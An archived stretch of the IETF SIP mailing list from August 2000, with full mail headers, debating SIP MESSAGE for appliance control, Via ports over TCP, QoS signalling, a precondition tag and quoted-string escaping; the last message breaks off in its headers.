Subject: RE: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt Date: Thu, 3 Aug 2000 16:42:19 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal In-Reply-To: <3989B8B8.A537EA58@dynamicsoft.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan, Please see my comments inserted into your message below: > -----Original Message----- > From: sip-admin@lists.bell-labs.com > [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Jonathan Rosenberg > Sent: Thursday, August 03, 2000 2:24 PM > To: Stan Moyer > Cc: Fox, Mike; sip@lists.bell-labs.com; dmarples@research.telcordia.com; > stsang@research.telcordia.com > Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt > > I think that MESSAGE is definitely not appropriate for what you are > trying to do. It is along the same lines of the continued abuse of INFO, > whereby totally different semantics are defined through the inclusion of > different bodies. MESSAGE means one thing and one thing only - "please > render this content for display to someone, and it represents a message > which may be responded to and is part of a conversation thread". Any > other usage is inappropriate. OK. I think there may have been a misunderstanding of what we're proposing here. What we are proposing is to use MESSAGE *only* to carry the command/query/whatever between the communicating endpoints. When MESSAGE finally reaches the destination SIP UA, the body is extracted and passed to the controlling application. The SIP UA *is not involved* after MESSAGE is received. The architecture of this is illustrated by the following stacks: +-------+ +----------------------+ | GUI | | Appliance Controller | +-------+ +----------------------+ +-------+ +-------+ +----------+ +----+ | SIP UA+-----------+ SIP UA| | X.10 unit+---------+Lamp| +-------+ +-------+ +----------+ +----+ SIP message Control messages over IP (layer 3) over X.10 (layer 1) SIP is used only to carry information on what to do with the lamp to the SIP UA in the Appliance Controller. It is then the Appl. Controller's job to extract the control information and do something with it. (In the example above, it controls the lamp via an X.10 interface.) I would say that this does not affect the semantics of MESSAGE. The receiving SIP UA treats the incoming MESSAGE as if it were an instant message. Once the MESSAGE is received, the receiving UA extracts the message from the body and passes it up to the controlling application (in this case, the Appliance Controller). In fact, it may even be possible to demo the above scenario using a SIP based IM system, and treat the Appliance controller as an IM user. > SIP is primarily appropriate when you wish to be involved in > communications with some entity which is moving around; where you have > only an abstract identifier that names this object (user@domain), and > based on that you need to rapidly contact that object at one of the many > places an instance of that object might be available. "involved in Firstly, it is likely that Appliances will be moving around alot. They'll be going from home to hotel, home to home, home to conference venue, home to car, home to bus etc. OK, you're unlikely to move your refrigerator around that much, but it's very likely that appliances such as the Internet Alarm clock will be moved around (especially on business trips!). So there will be a great need to address them as they move between locations and domains. Henning has already mentioned the possibility of 'naming' your appliances, so that my kitchen stove could be stove@simon.home.net. This reference can then be added to your 'favourites' address book. Using HTTP to do this will require explicit addressing (like the SLP URL Stan showed in the presentation yesterday) for every single request, and cannot support the more friendly object@domain representation. >What, for example, is wrong with using >http for this? I can have a mini-web server that presents an interface >that I can use to control the lightbulb. The same architecture with >proxies and authentication and interworking units operates just fine >there. For sure, we could set up a mini-web server in the home to control appliances which stay in the home, but IMHO I don't think it's a viable (or scalable approach) for appliances which are moving around alot. Please feel free to shoot me down in flames if you think I'm way off the mark here. Cheers, Simon -- Simon Tsang (Ph.D) Research Scientist Telcordia Technologies (http://www.telcordia.com) E-mail: stsang@research.telcordia.com Phone: +1.973.829.4511 Fax: +1.973.829.5889 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 17:28:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA16512 for ; Thu, 3 Aug 2000 17:28:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9E38144355; Thu, 3 Aug 2000 17:27:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from breeze.research.telcordia.com (breeze-fddi.research.telcordia.com [192.4.5.9]) by lists.bell-labs.com (Postfix) with ESMTP id 232D344338 for ; Thu, 3 Aug 2000 17:27:11 -0400 (EDT) Received: from stanpc.research.telcordia.com (stanpc [192.4.12.105]) by breeze.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e73LR8Y18229; Thu, 3 Aug 2000 17:27:09 -0400 (EDT) Message-Id: <4.3.1.2.20000803171149.00bd4760@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Thu, 03 Aug 2000 17:27:00 -0400 To: "Simon Tsang (Telcordia Technologies)" , "Jonathan Rosenberg" From: Stan Moyer Subject: RE: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Cc: , In-Reply-To: References: <3989B8B8.A537EA58@dynamicsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Simon, Good points -- I would also add the following comments (see below) to yours. At 04:42 PM 8/3/2000 -0400, Simon Tsang (Telcordia Technologies) wrote: >Jonathan, > >Please see my comments inserted into your message below: > > > -----Original Message----- > > From: sip-admin@lists.bell-labs.com > > [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Jonathan Rosenberg > > Sent: Thursday, August 03, 2000 2:24 PM > > To: Stan Moyer > > Cc: Fox, Mike; sip@lists.bell-labs.com; dmarples@research.telcordia.com; > > stsang@research.telcordia.com > > Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt > > > > I think that MESSAGE is definitely not appropriate for what you are > > trying to do. It is along the same lines of the continued abuse of INFO, > > whereby totally different semantics are defined through the inclusion of > > different bodies. MESSAGE means one thing and one thing only - "please > > render this content for display to someone, and it represents a message > > which may be responded to and is part of a conversation thread". Any > > other usage is inappropriate. >OK. I think there may have been a misunderstanding of what we're proposing >here. What we are proposing is to use MESSAGE *only* to carry the >command/query/whatever between the communicating endpoints. When MESSAGE >finally reaches the destination SIP UA, the body is extracted and passed to >the controlling application. The SIP UA *is not involved* after MESSAGE is >received. The architecture of this is illustrated by the following stacks: > > +-------+ +----------------------+ > | GUI | | Appliance Controller | > +-------+ +----------------------+ > +-------+ +-------+ +----------+ +----+ > | SIP UA+-----------+ SIP UA| | X.10 unit+---------+Lamp| > +-------+ +-------+ +----------+ +----+ > SIP message Control messages > over IP (layer 3) over X.10 (layer 1) > >SIP is used only to carry information on what to do with the lamp to the SIP >UA in the Appliance Controller. It is then the Appl. Controller's job to >extract the control information and do something with it. (In the example >above, it controls the lamp via an X.10 interface.) I would say that this >does not affect the semantics of MESSAGE. The receiving SIP UA treats the >incoming MESSAGE as if it were an instant message. Once the MESSAGE is >received, the receiving UA extracts the message from the body and passes it >up to the controlling application (in this case, the Appliance Controller). >In fact, it may even be possible to demo the above scenario using a SIP >based IM system, and treat the Appliance controller as an IM user. Yes, and this is why we're proposing to use a new MIME type (DMP == Device Messaging Protocol) for the payload so that if an IM-based system got a message destined for a device, it wouldn't just try and render the content (since it would be an incompatible/unknown MIME type). We discussed using a different message (instead of MESSAGE), but we decided that another message type with (what we thought were) very similar if not identical semantics would be too/more confusing. > > SIP is primarily appropriate when you wish to be involved in > > communications with some entity which is moving around; where you have > > only an abstract identifier that names this object (user@domain), and > > based on that you need to rapidly contact that object at one of the many > > places an instance of that object might be available. "involved in >Firstly, it is likely that Appliances will be moving around alot. They'll >be going from home to hotel, home to home, home to conference venue, home to >car, home to bus etc. OK, you're unlikely to move your refrigerator around >that much, but it's very likely that appliances such as the Internet Alarm >clock will be moved around (especially on business trips!). So there will >be a great need to address them as they move between locations and domains. >Henning has already mentioned the possibility of 'naming' your appliances, >so that my kitchen stove could be stove@simon.home.net. This reference can >then be added to your 'favourites' address book. Using HTTP to do this >will require explicit addressing (like the SLP URL Stan showed in the >presentation yesterday) for every single request, and cannot support the >more friendly object@domain representation. Actually, I'm not sure if I agree that most appliances will be moving around a lot, but we do have to allow for that possibility. We definitely need to use an abstract identifier because we can't assume that the details of device name/addresses in a home domain are known to entities in the wide area (outside the home domain). This is one of the reasons that http won't work. > >What, for example, is wrong with using > >http for this? I can have a mini-web server that presents an interface > >that I can use to control the lightbulb. The same architecture with > >proxies and authentication and interworking units operates just fine > >there. >For sure, we could set up a mini-web server in the home to control >appliances which stay in the home, but IMHO I don't think it's a viable (or >scalable approach) for appliances which are moving around alot. In addition to the addressing problem mentioned above, for devices/appliances that don't need an intermediate appliance controller it's probably overkill to have a mini web-server. Plus that would only work for control, what mechanism would you use for events and steaming media (especially to the device)? We believe a common (SIP) infrastructure for all these communications paradigms is best. -Stan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 17:54:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA24245 for ; Thu, 3 Aug 2000 17:54:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 406C944360; Thu, 3 Aug 2000 17:53:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from roma.axis.se (roma.axis.se [193.13.178.2]) by lists.bell-labs.com (Postfix) with ESMTP id 879F744338 for ; Thu, 3 Aug 2000 17:53:49 -0400 (EDT) Received: from klatt2.axis.se (klatt2.axis.se [193.13.178.131]) by roma.axis.se (8.9.3/8.9.3) with ESMTP id XAA07003; Thu, 3 Aug 2000 23:53:45 +0200 (MEST) Received: by klatt2.axis.se with Internet Mail Service (5.5.2650.21) id ; Thu, 3 Aug 2000 23:53:50 +0200 Message-ID: <151F3D2AE9F0D3119E480004ACB8EA37018690E1@cluster01.axis.se> From: Peter Kjellerstedt To: "'Jonathan Rosenberg'" Cc: sip@lists.bell-labs.com Subject: RE: [SIP] More inconsistencies and questions Date: Thu, 3 Aug 2000 23:53:01 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > -----Original Message----- > From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] > Sent: 03 August 2000 19:48 > To: Peter Kjellerstedt > Cc: sip@lists.bell-labs.com > Subject: Re: [SIP] More inconsistencies and questions > > Peter Kjellerstedt wrote: > > > > 3) In 6.47.1 (Via: Requests): > > > > It is stated that the port specified is the port where the > > user agent wishes to receive responses. But what if TCP is used > > as transport protocol. Should it be the port of the local end > > of the TCP connection, or the master TCP port of the user agent? > > I assume it is the latter as the client would otherwise be > > required to open the connection before being able to create the > > message. > > No, its the former. The spec says that if TCP is used, the response > goes over the same connection as the request. It is only if the > server needs to reopen a connection to send a response, that it > would use the port number in the Via header. Hmm, now you have me confused. If we have the following two agents: Client-A <-----------> Server-B Master TCP Port: 5060 Master TCP Port: 5070 Sending TCP Port: 4711 Would the Via that Client-A sends in this case look like: Via: SIP/2.0/TCP Client-A:5060 or, would it look like: Via: SIP/2.0/TCP Client-A:4711 My expectation was that the TCP conection would be between Client-A:4711 and Server-B:5070, and that is where the response would be sent, unless the connection has been closed for some reason, in which case Server-B would open a new TCP connection to Client-A:5060. This would imply that it is the first of these to Via's that is to be used. Am I right? (This, I believe, is what I tried to convey in my first message above.) //Peter _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 18:12:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA29585 for ; Thu, 3 Aug 2000 18:12:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 055B84436C; Thu, 3 Aug 2000 18:12:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sd_exchange.nuera.com (igate.nuera.com [204.216.240.98]) by lists.bell-labs.com (Postfix) with ESMTP id 9C07944338 for ; Thu, 3 Aug 2000 18:11:59 -0400 (EDT) Received: by sd_exchange.nuera.com with Internet Mail Service (5.5.2650.21) id <3T6TMAYR>; Thu, 3 Aug 2000 15:11:15 -0700 Message-ID: <613A6A6A3F09D3118F5C00508B2C24FEAD8E25@sd_exchange.nuera.com> From: "Fox, Mike" To: sip Date: Thu, 3 Aug 2000 15:11:15 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] QOS and SIP Questions... Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com 1. Would it be beneficial for a UAS use SIP (or SDP) to ask (or tell) a UAC to enable or request network QOS, like setting TOS, for RTP media, or even SIP? 2. Would it be beneficial for a UAS use SIP to query a UAC to report measured QOS, session performance, or accounting info? Best regards, Mike Fox _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 19:02:00 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA15054 for ; Thu, 3 Aug 2000 19:02:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0424644360; Thu, 3 Aug 2000 19:01:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from shire.formysite.com (mail.formysite.com [216.226.19.3]) by lists.bell-labs.com (Postfix) with ESMTP id D13B744338 for ; Thu, 3 Aug 2000 19:01:35 -0400 (EDT) Received: from Odysseus2000 (64-66-221-27.webtelecom.com [64.66.221.27] (may be forged)) by shire.formysite.com (8.9.1a/8.9.1) with SMTP id SAA23381 for ; Thu, 3 Aug 2000 18:01:58 -0500 (CDT) Message-ID: <011e01bffd9e$c304e040$1bdd4240@sfmissn1.sfba.home.com> Reply-To: "Garret Wilson" From: "Garret Wilson" To: "SIP List" Date: Thu, 3 Aug 2000 16:01:29 -0700 Organization: GlobalMentor, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [SIP] via headers required? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit draft-ietf-sip-2542bis-00 claims, in section 6.45.1, that all requests must contain at least one "Via:" header. Yet there are examples in the same document that don't. Are via headers required? Garret Wilson _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 21:12:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24046 for ; Thu, 3 Aug 2000 21:12:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E089044367; Thu, 3 Aug 2000 21:12:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7FB6944338 for ; Thu, 3 Aug 2000 21:12:20 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42256) id <0FYQ00101U0J53@firewall.mcit.com> for sip@lists.bell-labs.com; Fri, 4 Aug 2000 01:12:19 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0FYQ005MZU0JZ3@firewall.mcit.com>; Fri, 04 Aug 2000 01:12:19 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) id <0FYQ00K01U0JY7@pmismtp01.wcomnet.com>; Fri, 04 Aug 2000 01:12:19 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYQ00K01U0FXU@pmismtp01.wcomnet.com>; Fri, 04 Aug 2000 01:12:19 +0000 (GMT) Received: from C25776A ([166.44.172.132]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYQ00IBEU09WD@pmismtp01.wcomnet.com>; Fri, 04 Aug 2000 01:12:12 +0000 (GMT) Date: Thu, 03 Aug 2000 20:12:07 -0500 From: Henry Sinnreich Subject: RE: [SIP] a proposal for a way to compromise? (really, not a joke) In-reply-to: <200008031754.NAA07241@egyptian-gods.MIT.EDU> To: Greg Hudson Cc: impp@iastate.edu, SIP reflector , stanm@research.telcordia.com Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit This discussion has covered several aspects: 1. End user: Integrated IP communications with SIP - Telephony, multimedia, data conferencing, - Presence - Instant messaging with text, voice - Games, etc. Stan writes on companion list what I believe is also pertinent: >If a different >protocol is required to send a text page that is an additional requirement >on the device. While it's not difficult to have a PC (or even a PDA) >support multiple protocols, we're looking at low-cost consumer devices >where very extra bit of RAM is going to increase the cost to the consumer. 2. Architecture: See the seven I-Ds submitted 3. Operational: My previous comments 4. Vendors: Several SIP implementations for the above. What is the problem you are trying to solve? Patrick wrote: >I, as AD, have asked the IMPP wg to go through this process step by step >without excluding step (c), and I would like everyone in the group to Fully agree. Some of the steps seem to have already been walked, but it will be useful for the whole group to go over all the steps again together. Would be great to get to an agreement. Henry >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Greg Hudson >Sent: Thursday, August 03, 2000 12:55 PM >To: Henry Sinnreich >Cc: impp@iastate.edu; SIP reflector >Subject: Re: [SIP] a proposal for a way to compromise? >(really, not a >joke) > > >> From the perspective of a network service provider, it may be >> advantageous to have the smallest number of >protocols on the network >> to deliver services. Each new protocol means extra >resources to >> develop and maintain OSS, skill sets etc. From this >point of view, >> having SIP do many things is an advantage IMHO. > >I hate playing market analyst, but: > >From the perspective of a network service provider, it may be >advantageous to have the smallest number of >*implementations* to >deliver services. If I need one SIP product from >company X which >provides IMPP services and another SIP product from >company Y which >provides multimedia session management services, that >will require >extra resources. Similarly, if I have a single product which >implements both SIP's multimedia session management and some >hypothetical separate IMPP protocol, that won't require extra >resources. (Well, not any more than a single product >which implements >both features of SIP.) > >Don't confuse protocols with implementations. Whether >the traffic for >applications A and B are framed the same way and/or go >over the same >port is basically irrelevant to service providers. > >Also, from the perspective of a network service >provider, lumping >multiple applications into the same protocol makes it harder to >filter the protocols separately. > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 21:25:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA00398 for ; Thu, 3 Aug 2000 21:25:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 950A04436C; Thu, 3 Aug 2000 21:25:29 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by lists.bell-labs.com (Postfix) with ESMTP id A0DEB44338 for ; Thu, 3 Aug 2000 21:25:26 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42257) id <0FYQ00C01UMDLP@firewall.mcit.com> for sip@lists.bell-labs.com; Fri, 4 Aug 2000 01:25:25 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0FYQ00BJYUMDAG@firewall.mcit.com>; Fri, 04 Aug 2000 01:25:25 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) id <0FYQ00L01UMDSU@pmismtp01.wcomnet.com>; Fri, 04 Aug 2000 01:25:25 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYQ00L01UMBSN@pmismtp01.wcomnet.com>; Fri, 04 Aug 2000 01:25:25 +0000 (GMT) Received: from C25776A ([166.44.172.132]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYQ00IF8ULWWD@pmismtp01.wcomnet.com>; Fri, 04 Aug 2000 01:25:10 +0000 (GMT) Date: Thu, 03 Aug 2000 20:25:07 -0500 From: Henry Sinnreich Subject: RE: [SIP] QOS and SIP Questions... In-reply-to: <613A6A6A3F09D3118F5C00508B2C24FEAD8E25@sd_exchange.nuera.com> To: "Fox, Mike" , sip Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Mike, A client is not a trusted device, so it can only request QoS, but the request has to policed in some way by a trusted network element. Please see two related approaches: http://search.ietf.org/internet-drafts/draft-manyfolks-sip-resou rce-01.txt and http://search.ietf.org/internet-drafts/draft-sinnreich-interdoma in-sip-qos-osp-01.txt Henry >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Fox, Mike >Sent: Thursday, August 03, 2000 5:11 PM >To: sip >Subject: [SIP] QOS and SIP Questions... > > >1. Would it be beneficial for a UAS use SIP (or SDP) >to ask (or tell) a UAC >to enable or request network QOS, like setting TOS, >for RTP media, or even >SIP? > >2. Would it be beneficial for a UAS use SIP to query a >UAC to report >measured QOS, session performance, or accounting info? > >Best regards, >Mike Fox > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 21:36:40 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA06242 for ; Thu, 3 Aug 2000 21:36:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 34BBA44376; Thu, 3 Aug 2000 21:36:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 0844144338 for ; Thu, 3 Aug 2000 21:36:12 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id VAA10351; Thu, 3 Aug 2000 21:40:16 -0400 (EDT) Message-ID: <398A200F.25098DD0@cs.columbia.edu> Date: Thu, 03 Aug 2000 21:44:47 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: Steve Donovan , Rohan Mahy , sip@lists.bell-labs.com Subject: Re: [SIP] Session header References: <398853C8.6ED2AD45@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Agreed. The purpose of the tag in the content-disposition header is to > indicate when > some aspect of the session described by the content impacts the > operation of sip. As > the operation does not depend on whether the precondition itself is qos > or security, > a single tag should suffice. In fact, perhaps we should call it > "precondition"? I assume this should be in the manyfolks draft, presumably as a separate parameter, as in Content-Disposition: session ;handling=required ;precondition _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 21:55:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA15236 for ; Thu, 3 Aug 2000 21:55:13 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 57EB544383; Thu, 3 Aug 2000 21:55:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 1853344367 for ; Thu, 3 Aug 2000 21:55:00 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id VAA10360; Thu, 3 Aug 2000 21:59:07 -0400 (EDT) Message-ID: <398A247A.AE5904F7@cs.columbia.edu> Date: Thu, 03 Aug 2000 22:03:38 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Richard Verhoeven , sip@lists.bell-labs.com References: <200008021753.TAA04634@wsinwp07.win.tue.nl> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: SIP protocol: quoted strings and backslashes Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > According to the definitions of quoted-string and comments > in draft-ietf-sip-rfc2543bis-00.ps, page 118, a quoted > string can use the backslash (\) as a single-character > quoting mechanism, where NUL, CR and LF are also characters. > > This makes it possible to divide a quoted string among > lines by ending the line with a backslash. Thus: > ------------------------- > Comment-Field: "A long \ > string: one line." > ------------------------- > defines one field according to the grammar. However, > the line continuation convention requires spacing characters > at the beginning of the second line. > > I assume that using \ for this purpose is not allowed, > but I didn't find an example in the torture tests > from the SIP Telephony Call Flow Examples. Interesting (if peculiar) example. This syntax is directly from HTTP/1.1, which is also silent on the topic how implementations should handle this. Strictly speaking it depends on what the line separator is. If you have To: "Some string\[CR][LF] continued Only the CR is escaped. The LF begins another line and would need to be indented. On the other hand To: "Some string\[CR] continued" is just a single line. Should definitely be added to the torture tests. > > Best regards, > > Richard Verhoeven _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 23:31:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23879 for ; Thu, 3 Aug 2000 23:31:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 14A3144367; Thu, 3 Aug 2000 23:31:36 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id D0BC844338 for ; Thu, 3 Aug 2000 23:31:20 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA29167; Thu, 3 Aug 2000 23:32:51 -0400 (EDT) 